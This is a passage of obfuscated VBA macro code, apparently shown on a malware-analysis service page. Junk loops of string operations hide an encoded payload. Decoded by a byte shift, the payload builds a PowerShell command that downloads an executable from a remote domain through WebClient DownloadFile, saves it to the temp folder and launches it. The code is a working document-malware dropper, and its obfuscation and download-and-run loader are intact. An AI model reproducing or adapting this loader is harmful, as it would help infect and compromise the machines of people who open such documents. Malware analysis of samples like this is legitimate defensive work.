        qhgu = Replace("VknDmsXsugBJDe", "Vkn", "Krrrhdq")
        qhgu = Replace("TLDmySqIrrXaV", "TLD", "QQHg")
        qhgu = StrReverse("buKcCmZtZAZmy")
                If 3880224 = 98 - 6953 Then
            oqMuF = Replace("fQWykobIyCXBzRfR", "fQW", "obcFOj")
            oqMuF = StrReverse("fQWykobIyCXBzRfR")
            Ldfdc = Replace("fvtyQpQLYYJxjaXxQfq", "fvt", "iYIiOa")
            Ldfdc = StrReverse("fvtyQpQLYYJxjaXxQfq")
            End If
        qhgu = StrReverse("wHDODfqjtlXzSR")
        qhgu = StrReverse("ryQPnyrGgSaUU")
        qhgu = Replace("fbxLLOXhmnrTe", "fbx", "KkGM")
        qhgu = Replace("EmuIXtvVED", "EmuI", "ALCUHlc")
        qhgu = Replace("tImmhkpBPQQCJB", "tImm", "VAJsCBw")
        qhgu = StrReverse("aDOfTfGWMpkGfRRBKI")
        qhgu = Replace("EhdHRgkqhelhoGjQjlE", "Ehd", "uBDT")
        qhgu = StrReverse("YzlRVcvtJTklumC")
                If 2215027 = 43 - 4140 Then
            EIaSH = Replace("zYTjQCUBSbzsIidrP", "zYT", "boSJ")
            EIaSH = StrReverse("zYTjQCUBSbzsIidrP")
            RIPDS = Replace("ivYyKHImRjrjCAjiqb", "ivYy", "sWHHc")
            RIPDS = StrReverse("ivYyKHImRjrjCAjiqb")
            End If
        qhgu = Replace("oZjiEBctxrspbee", "oZji", "lAfpx")
                If 2686961 = 174 - 7857 Then
            eRVQK = Replace("CBetwfSowQoPlll", "CBe", "SbtEh")
            eRVQK = StrReverse("CBetwfSowQoPlll")
            xbTOh = Replace("LqpQRznJbjkMFXyLzpw", "LqpQ", "pkCAr")
            xbTOh = StrReverse("LqpQRznJbjkMFXyLzpw")
            End If
        qhgu = StrReverse("lgyxrTPtQkzWtdHbt")
        qhgu = StrReverse("ULzHdcBqax")
        qhgu = StrReverse("bvMPttGiEtBtvZz")
        qhgu = Replace("WuvdXcskEvOjHj", "Wuvd", "nMgoX")
        qhgu = StrReverse("VknIQeSDouUBRyB")
        qhgu = Replace("qjXvBTGnzDjIIvdAc", "qjX", "mkitxO")
        qhgu = StrReverse("zSjKLCYkDXKGj")
    Next xWKGD

End Sub
Public Function hDjwnpcyxW(OmIVn) As String
    For DMoFk = 0 To 108
        IFup = StrReverse("mGzyzFOfHBd")
                If 3297511 = 81 - 5315 Then
            SdHDb = Replace("gRTMmSajVvqYiMjF", "gRTM", "sTfHUh")
            SdHDb = StrReverse("gRTMmSajVvqYiMjF")
            anaHF = Replace("OXmEzhkQiYUUwbiGuBw", "OXm", "atHJFB")
            anaHF = StrReverse("OXmEzhkQiYUUwbiGuBw")
            End If
                If 3250735 = 38 - 3870 Then
            tyHIk = Replace("dwxhKlRYsaAby", "dwxh", "RmspmQH")
            tyHIk = StrReverse("dwxhKlRYsaAby")
            End If
        IFup = StrReverse("cAMLhoniHRAi")
        IFup = Replace("CUzMKLJnFYV", "CUz", "KBzizD")
                If 3222513 = 256 - 2559 Then
            ZcxFX = Replace("vOetsulZbaV", "vOet", "RxLZKDw")
            ZcxFX = StrReverse("vOetsulZbaV")
            End If
                If 4566 = 259 - 7473 Then
            CYmBW = Replace("CawqPCGgnugXkB", "Cawq", "OdORz")
            CYmBW = StrReverse("CawqPCGgnugXkB")
            COvsh = Replace("mmbxIqBuPXAaITJg", "mmbx", "yZyxp")
            COvsh = StrReverse("mmbxIqBuPXAaITJg")
            End If
        IFup = StrReverse("zIJQAwnGDxLCExCCZd")
        IFup = Replace("MVzBsZbyxdK", "MVzB", "XXLPVrc")
        IFup = Replace("itkrDCFecb", "itkr", "CazJbZy")
        IFup = Replace("iuJIsPfUIJrQBKOF", "iuJ", "Urqk")
        IFup = StrReverse("xBpuhleHRpaSgLxpCqD")
        IFup = StrReverse("clGOLRDgaqj")
        IFup = Replace("GGrQmBkewK", "GGrQ", "ZxlYzK")
                If 3689859 = 237 - 90 Then
            RYigo = Replace("OAqcAMCnMEEihxZr", "OAqc", "BBDYr")
            RYigo = StrReverse("OAqcAMCnMEEihxZr")
            iJgeE = Replace("wFzjXzRtAEbCz", "wFzj", "gYSTu")
            iJgeE = StrReverse("wFzjXzRtAEbCz")
            End If
        IFup = StrReverse("yaaaXYeFldkrVZUI")
        IFup = StrReverse("QHHaKxgeIoJzo")
        IFup = Replace("MBIpJxEVPpeWKhXs", "MBI", "fZzThdT")
                If 1945206 = 125 - 1534 Then
            Aauau = Replace("cMrSrqUcmSUjbVBB", "cMr", "fRfyRLS")
            Aauau = StrReverse("cMrSrqUcmSUjbVBB")
            dAZyQ = Replace("kOvcIZMpFvsVUgHK", "kOvc", "aXLAMrC")
            dAZyQ = StrReverse("kOvcIZMpFvsVUgHK")
            End If
        IFup = Replace("UzJUKlXonKs", "UzJ", "ZVFwYAx")
        IFup = Replace("lJUpRCBQpDQFdGVBoET", "lJU", "HRVl")
        IFup = Replace("kDCuIKunZvbMgFg", "kDC", "YCCVfRY")
        IFup = StrReverse("RCuCOdvqKQ")
        IFup = StrReverse("XwyuHXMPAHBfVHAWp")
        IFup = StrReverse("HxocefxDTWZewQQWr")
    Next DMoFk
    For yAQAr = 0 To 84
        kgPI = Replace("CTWEzJJrZTmEWlo", "CTWE", "syRptCx")
        kgPI = StrReverse("uwraXXjreUtrlBOQ")
                If 1890240 = 148 - 2652 Then
            CiCeE = Replace("WrscvyiIbpBSjCQgf", "Wrs", "tRSG")
            CiCeE = StrReverse("WrscvyiIbpBSjCQgf")
            End If
        kgPI = Replace("GyWLFArqqWub", "GyW", "Sfij")
        kgPI = Replace("OHhVwgiAEtZbQAzCq", "OHhV", "xlorhf")
        kgPI = StrReverse("PLbjedqFELlhIlcmZp")
        kgPI = Replace("MrMIcgUwUHylcUbGs", "MrM", "MPgTE")
        kgPI = StrReverse("VAJwTcVVWEKwrnIkHq")
                If 1226282 = 251 - 2615 Then
            PBJyc = Replace("SWAnBibwILHVe", "SWA", "RCzl")
            PBJyc = StrReverse("SWAnBibwILHVe")
            taUAL = Replace("zwDknvEWox", "zwDk", "wxQQw")
            taUAL = StrReverse("zwDknvEWox")
            End If
        kgPI = StrReverse("ietZZMRHaDRYHJoWeDn")
        kgPI = StrReverse("deWShBzYlzIXtZu")
        kgPI = StrReverse("GHYPoAcoulrGUefB")
        kgPI = StrReverse("zILnDVtQMkU")
        kgPI = StrReverse("fyXtiGhbDMVolaEDzl")
        kgPI = Replace("gTYRgohcKJgIQI", "gTYR", "DAEPX")
        kgPI = Replace("ghCQVtRWYaGIjuBvEKW", "ghCQ", "JulR")
        kgPI = StrReverse("htJjirwSeRamlmyLJT")
        kgPI = Replace("WKaBYSLBuSOcHA", "WKa", "yCRav")
                If 3084332 = 110 - 2093 Then
            gjWSS = Replace("yVQUckkhOqoBFWA", "yVQ", "wGgn")
            gjWSS = StrReverse("yVQUckkhOqoBFWA")
            YrrTr = Replace("GPBbGVRrUuEP", "GPB", "aDZFzvg")
            YrrTr = StrReverse("GPBbGVRrUuEP")
            End If
        kgPI = StrReverse("ulFILpSCufQd")
        kgPI = StrReverse("TLGQKBRsfeaLUu")
        kgPI = StrReverse("MsqliUUgqAiCrsPYyll")
        kgPI = Replace("eQOoYCtwFroEM", "eQOo", "tJEx")
                If 815669 = 210 - 5608 Then
            etZpT = Replace("tbKmuCqzFdAZQGme", "tbKm", "TMkOnRm")
            etZpT = StrReverse("tbKmuCqzFdAZQGme")
            pFWrY = Replace("msorYSrbPrQb", "msor", "wJERKi")
            pFWrY = StrReverse("msorYSrbPrQb")
            End If
        kgPI = StrReverse("vFLBxbbTReGOX")
    Next yAQAr
    Wfx = Wfx & StrReverse(StrReverse("bCXMULSCQZrLwIqfiDsooQQbKzhtjYHVRgjlQofkcIYCogxgVYKEDVNJnmzyutJm[fqsoJCsGuI{YCLIxblsJhyGYXuS"))
scFkv = Replace("FeCicdJgrinLHxZBT", "FeC", "YVuMep")
    For ROTvS = 0 To 287
        mwOY = StrReverse("scoQxnPkjqDnls")
        mwOY = Replace("qyAbBPWXZlfgUyie", "qyAb", "HEtG")
                If 1988057 = 146 - 804 Then
            VFBTu = Replace("LvfwsFtLZOliaE", "Lvfw", "Lrqa")
            VFBTu = StrReverse("LvfwsFtLZOliaE")
            End If
        mwOY = Replace("AYeQcRCdmHpkvZKK", "AYe", "EpXS")
        mwOY = StrReverse("AuQReuoOoTMssq")
        mwOY = Replace("HUZjYAgYYQ", "HUZ", "FQbizq")
        mwOY = StrReverse("ppRZnUpFuMLVTF")
        mwOY = StrReverse("GsfRZmuBaEyLTvmdFe")
        mwOY = Replace("FqzxOwbdnZaRfXke", "Fqzx", "TzFPPq")
        mwOY = Replace("MVhpBcrnkie", "MVhp", "cxeHlzb")
        mwOY = Replace("YbSVSrRXPcfHUGXLf", "YbS", "EAicO")
        mwOY = Replace("VGfnqOkzFzwB", "VGf", "tkXk")
        mwOY = Replace("QgxLqYLTerQjWOUg", "QgxL", "JKWD")
        mwOY = Replace("kRDicehRttGJUt", "kRDi", "twQZucL")
        mwOY = StrReverse("DcHDectcKfIKFxy")
        mwOY = StrReverse("bYqXAUQdCkpSnfSSgkA")
                If 1387203 = 112 - 2731 Then
            SBsKO = Replace("LEPmQkWkYBRcPS", "LEP", "YcJdQuV")
            SBsKO = StrReverse("LEPmQkWkYBRcPS")
            End If
        mwOY = StrReverse("ikkFaOEfQEbKDLan")
                If 3672153 = 35 - 2789 Then
            hwAgk = Replace("RkkTfOrhBu", "Rkk", "XMYgMz")
            hwAgk = StrReverse("RkkTfOrhBu")
            End If
        mwOY = StrReverse("KVJZkoyLtpn")
        mwOY = StrReverse("xkaQkPKZAqYapRx")
        mwOY = Replace("yDloEarMoJZPw", "yDl", "YHFEEnb")
        mwOY = Replace("MWPBTzyDITKUDXzvIAq", "MWP", "cKAB")
        mwOY = StrReverse("WoFGAeHQVzHOTv")
        mwOY = Replace("YbGmFAEXmMk", "YbG", "UvfCnQ")
    Next ROTvS
    Wfx = Wfx & StrReverse(StrReverse("gldkHuDz}<*(fyf/kfgC](,*)iubQqnfUufH;;^iubQ/PJ/nfutzT\)!iubqfmjG.!ttfdpsQ.usbuT!2!x.!fyf/mmfits"))
scFkv = Replace("pbbzLWAUVXBluFhJ", "pbbz", "IvJD")
    For pbSaI = 0 To 205
        WPRF = StrReverse("HRcnlwIgGjfXiKkD")
        WPRF = StrReverse("cEtrOJiKqnYaGkzqDdx")
        WPRF = StrReverse("HzIEBqoJYca")
        WPRF = Replace("qBbBYeJGOjgQay", "qBbB", "QTZzjMp")
        WPRF = StrReverse("CapQfPWLfHYzC")
        WPRF = StrReverse("vJKwuepvgeYKznK")
        WPRF = Replace("UIJOosnkFLQke", "UIJ", "pKVCw")
        WPRF = StrReverse("IKVmXQkSLDE")
        WPRF = StrReverse("YPYHkbGVdPFbTO")
        WPRF = StrReverse("TpFktrZpwXyHzrFjbBB")
        WPRF = Replace("tAkHSQtWPCdRuBTbL", "tAk", "adlOj")
                If 3843522 = 8 - 794 Then
            AJwLL = Replace("QMQQXZDUbEnXS", "QMQQ", "qiuqRFR")
            AJwLL = StrReverse("QMQQXZDUbEnXS")
            qSWMn = Replace("TQWYsAYprsJkzGczw", "TQWY", "JdiSay")
            qSWMn = StrReverse("TQWYsAYprsJkzGczw")
            End If
        WPRF = StrReverse("UTSOrbTrUPz")
        WPRF = Replace("CQSynixSSlFTXJv", "CQS", "ifBHHHc")
        WPRF = Replace("ZcgIXxhbUODjTeKFhOa", "Zcg", "XYKM")
        WPRF = StrReverse("aIEbgnPLoSeXZ")
        WPRF = Replace("WGWYpWSglHFVUcWILWu", "WGW", "DeOZGw")
                If 1165677 = 76 - 3353 Then
            XSZsD = Replace("gHDrRpQZXxTWsz", "gHDr", "zhIrV")
            XSZsD = StrReverse("gHDrRpQZXxTWsz")
            xEgXF = Replace("dkhrlPXzsJ", "dkh", "QxDUsrX")
            xEgXF = StrReverse("dkhrlPXzsJ")
            End If
        WPRF = StrReverse("QckecYZPuzwttPUcX")
        WPRF = StrReverse("BtScTCMfUcw")
                If 3671844 = 19 - 7983 Then
            ZwKCv = Replace("RhHcqCOWlcHkR", "RhHc", "rXkLByM")
            ZwKCv = StrReverse("RhHcqCOWlcHkR")
            USyuA = Replace("bWnwtdZvAiilG", "bWn", "wuIIm")
            USyuA = StrReverse("bWnwtdZvAiilG")
            End If
                If 3780756 = 57 - 5525 Then
            dFths = Replace("OfKTicAarsWFJLfG", "OfKT", "aprf")
            dFths = StrReverse("OfKTicAarsWFJLfG")
            WPqgt = Replace("tfgcdspdEOvPc", "tfg", "AWFqrp")
            WPqgt = StrReverse("tfgcdspdEOvPc")
            End If
        WPRF = Replace("hUpdZrxSQamjJxZ", "hUp", "Zqlnb")
        WPRF = Replace("MmtXxPsZZr", "Mmt", "uXUmZ")
        WPRF = Replace("tBljGkmFwbKxLO", "tBl", "FccckyM")
    Next pbSaI
    Wfx = Wfx & StrReverse(StrReverse("fxpq<**(fyf/kfgC](,*)iubQqnfUufH;;^iubQ/PJ/nfutzT\)-(fyf/umvbgfe0thpm0nfutzt.qx0npd/jmfefvmceob"))
scFkv = StrReverse("LUtOmytuCgpGSOJkOqy")
    For gfJMt = 0 To 83
                If 2533223 = 247 - 4926 Then
            OzYwP = Replace("BtGzZIWmijSsrWgW", "BtG", "AcehQ")
            OzYwP = StrReverse("BtGzZIWmijSsrWgW")
            End If
        suWu = Replace("MHdqaZzrOfUxGrVBaFX", "MHdq", "krwB")
        suWu = StrReverse("daCepCYXoJlnpq")
        suWu = Replace("yfZcjGOexgVQ", "yfZ", "UHse")
        suWu = Replace("BsOeDsyMafZKtkbU", "BsO", "Tmgg")
        suWu = Replace("ecCHATWvSyWg", "ecCH", "SOcXS")
        suWu = Replace("uRfGyRfBsw", "uRf", "zntwzZ")
                If 645040 = 159 - 7036 Then
            lYYsC = Replace("BawUCnpMykFigXzSm", "Baw", "nadFM")
            lYYsC = StrReverse("BawUCnpMykFigXzSm")
            HWnXu = Replace("TZkUXcHuoaovquAt", "TZk", "tyAY")
            HWnXu = StrReverse("TZkUXcHuoaovquAt")
            End If
        suWu = Replace("peqjxDHienhVkad", "peqj", "rWWDb")
                If 2517893 = 32 - 6013 Then
            WBeEJ = Replace("FGQLsXwkRqcklO", "FGQL", "pqPaf")
            WBeEJ = StrReverse("FGQLsXwkRqcklO")
            End If
        suWu = StrReverse("aXxKYIxmabPDCBc")
        suWu = StrReverse("RvFjZczfmk")
        suWu = Replace("TfPgZtLTHTfFgrVr", "TfPg", "Xqmo")
                If 880029 = 87 - 2222 Then
            ZxEXJ = Replace("rQxpuCGIOFnzPtXw", "rQxp", "GzBaL")
            ZxEXJ = StrReverse("rQxpuCGIOFnzPtXw")
            dEnUJ = Replace("HEowkEvPLQLVggoliq", "HEo", "xCrqt")
            dEnUJ = StrReverse("HEowkEvPLQLVggoliq")
            End If
        suWu = Replace("loKpMhSOUjj", "loK", "uRZnCEZ")
        suWu = StrReverse("DdjVMikVZcZt")
        suWu = StrReverse("BtfByMnDCYqdE")
        suWu = StrReverse("XSgXJvFrQUTCjXMpWqn")
        suWu = Replace("olDbvHgtdkm", "olD", "oUKSHX")
        suWu = StrReverse("BqLfRfvShpxKqzSID")
        suWu = StrReverse("SKDRwkyuHYoQzaiEHd")
        suWu = StrReverse("yolaQfuutPT")
        suWu = StrReverse("JxfBMbJRJpyZAeZ")
        suWu = StrReverse("lLUEtIJbdkehTjxJ")
        suWu = StrReverse("dQqhisZEpkFRqDvb")
    Next gfJMt
    Wfx = Wfx & StrReverse(StrReverse("f{jbn00;tquui()fmjGebpmoxpE/*uofjmDcfX/ufO/nfutzT!udfkcP.xfO)!2!x.!fyf/"))
scFkv = StrReverse("uzAXIsEUEIPBPrA")
    For Otwya = 0 To 338
        KsUo = StrReverse("GycPoRqnWPQ")
        KsUo = Replace("FzebtIAkty", "Fze", "VkmtCgT")
        KsUo = StrReverse("DmyXQJpweVeXOO")
        KsUo = Replace("JdFsSwaboUxxVcDGBy", "JdF", "HXCJoFX")
        KsUo = Replace("iwmaHoJaFs", "iwm", "YKxB")
                If 3180239 = 132 - 8091 Then
            qVspj = Replace("DarteUZSMdeBhEIGu", "Dar", "YntBTGW")
            qVspj = StrReverse("DarteUZSMdeBhEIGu")
            vkePy = Replace("eLVaWdOpxmlWenIZx", "eLV", "AWqb")
            vkePy = StrReverse("eLVaWdOpxmlWenIZx")
            End If
        KsUo = Replace("HCrwdUtAlcVL", "HCrw", "grJaA")
        KsUo = Replace("SXXXLGYjhcqpwduVD", "SXX", "dGYb")
        KsUo = Replace("oQcKZUbsZv", "oQc", "mJRTL")
        KsUo = StrReverse("vaUGaGEckyjCOyfX")
        KsUo = Replace("akLLqLeWdPvgF", "akLL", "eGxA")
        KsUo = Replace("iRkCAmXLCVJuBd", "iRkC", "fseauoE")
        KsUo = StrReverse("PVniaHvvgFlH")
        KsUo = StrReverse("aPoRqZJcMRj")
        KsUo = StrReverse("DiGtYlpZmpfI")
        KsUo = StrReverse("FKKVpVhxGDlijglrYrx")
        KsUo = Replace("GlHnMbUkRIiBH", "GlHn", "bKRXD")
        KsUo = Replace("jmexbtZRDHgRtmzWCWb", "jmex", "MILk")
        KsUo = StrReverse("zwhmAUwSIe")
        KsUo = Replace("qYQwFUjmHUeSCatFj", "qYQ", "DFqDjgO")
        KsUo = Replace("OcjWWKbTQA", "OcjW", "BIfhki")
        KsUo = Replace("UjkfToHijfdRQOFJw", "Ujkf", "hVcJ")
                If 3506840 = 167 - 1147 Then
            ipMyz = Replace("aoeTBHwDlip", "aoe", "iUYbuf")
            ipMyz = StrReverse("aoeTBHwDlip")
            yOVKi = Replace("oAZyBUhIYKEAWrEz", "oAZ", "CaBZfjy")
            yOVKi = StrReverse("oAZyBUhIYKEAWrEz")
            End If
        KsUo = StrReverse("oovTKqQZdhJTAQLX")
        KsUo = Replace("VLgAJAkBHGr", "VLg", "VLpW")
    Next Otwya
    Wfx = Wfx & StrReverse(StrReverse("mmfitsfxpq}otFFQ}ejWc"))
scFkv = StrReverse("DkHPiayIQXqGI")
    Dim ajEd() As Byte
FDSAJ = StrReverse("zfKQRILmODF")
    ajEd = StrConv(Wfx, vbFromUnicode)
    While iIhb <= UBound(ajEd)
        scFkv = Replace("qiUZOwyaKs", "qiU", "VeRzj")
        scFkv = Replace("QJHDKgLUZZ", "QJH", "rxZOM")
        ajEd(iIhb) = ajEd(iIhb) - OmIVn
    iIhb = iIhb + 1
        scFkv = Replace("uLRbQayhpV", "uLR", "CkyHK")
        scFkv = Replace("gyRavdGAuj", "gyR", "fPvAX")
    Wend
    hDjwnpcyxW = StrConv(ajEd, vbUnicode)
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.